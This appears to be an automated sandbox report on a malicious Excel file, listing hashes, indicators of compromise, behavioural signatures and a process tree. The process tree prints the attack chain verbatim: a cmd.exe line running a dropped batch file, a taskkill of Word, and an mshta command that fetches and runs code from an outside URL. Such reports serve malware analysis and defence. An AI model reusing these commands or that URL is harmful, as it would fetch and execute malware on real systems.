Analysis
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max time kernel
98s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:45
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls
Resource
win10v2004-20220812-en
General
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Target
SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls
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Size
38KB
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MD5
de2c9786c5c38ea021531158217e9737
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SHA1
5377de8a45c1b00529a68263ca30d13bbd649071
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SHA256
c266edfc6f88ae947285fae438eae0e46b8bf059badf283db6d34d93c63df803
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SHA512
8cca5125a1bfd98878cbf037c7440b3c84f5add9b9104d115ca98edad52f90e447a08451616ed7f1a4fb07d41fd4fe284d9d80f590cbeda6ba162d28b56bd7e7
Malware Config
Extracted
http://facextrade.com.br/wp-includes/certificates/4.txt
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3892 1600 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 29 IoCs
Processes:
mshta.exeflow pid process 16 1528 mshta.exe 17 1528 mshta.exe 19 1528 mshta.exe 21 1528 mshta.exe 23 1528 mshta.exe 24 1528 mshta.exe 26 1528 mshta.exe 27 1528 mshta.exe 29 1528 mshta.exe 30 1528 mshta.exe 31 1528 mshta.exe 32 1528 mshta.exe 33 1528 mshta.exe 34 1528 mshta.exe 35 1528 mshta.exe 36 1528 mshta.exe 37 1528 mshta.exe 38 1528 mshta.exe 39 1528 mshta.exe 40 1528 mshta.exe 41 1528 mshta.exe 42 1528 mshta.exe 43 1528 mshta.exe 44 1528 mshta.exe 45 1528 mshta.exe 46 1528 mshta.exe 47 1528 mshta.exe 48 1528 mshta.exe 49 1528 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4728 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1600 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
taskkill.exedescription pid process Token: SeDebugPrivilege 4728 taskkill.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE 1600 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEcmd.execmd.exedescription pid process target process PID 1600 wrote to memory of 3892 1600 EXCEL.EXE cmd.exe PID 1600 wrote to memory of 3892 1600 EXCEL.EXE cmd.exe PID 3892 wrote to memory of 4936 3892 cmd.exe PING.EXE PID 3892 wrote to memory of 4936 3892 cmd.exe PING.EXE PID 3892 wrote to memory of 4872 3892 cmd.exe cmd.exe PID 3892 wrote to memory of 4872 3892 cmd.exe cmd.exe PID 4872 wrote to memory of 4728 4872 cmd.exe taskkill.exe PID 4872 wrote to memory of 4728 4872 cmd.exe taskkill.exe PID 3892 wrote to memory of 1528 3892 cmd.exe mshta.exe PID 3892 wrote to memory of 1528 3892 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEping -n 8 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\mshta.exemshta http://facextrade.com.br/wp-includes/certificates/4.txt3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Outlook.batFilesize
1KB
MD520484f4a7d41c5f54a0dc7a7d35c2155
SHA10b197c48d648bbdc131dca6d4fb89903303372f9
SHA2566df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072
SHA51294df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591
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memory/1528-144-0x0000000000000000-mapping.dmp
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memory/1600-136-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-134-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-132-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-137-0x00007FFD15CE0000-0x00007FFD15CF0000-memory.dmpFilesize
64KB
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memory/1600-138-0x00007FFD15CE0000-0x00007FFD15CF0000-memory.dmpFilesize
64KB
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memory/1600-150-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-149-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-135-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-148-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-147-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/1600-133-0x00007FFD17FD0000-0x00007FFD17FE0000-memory.dmpFilesize
64KB
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memory/3892-139-0x0000000000000000-mapping.dmp
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memory/4728-143-0x0000000000000000-mapping.dmp
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memory/4872-142-0x0000000000000000-mapping.dmp
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memory/4936-140-0x0000000000000000-mapping.dmp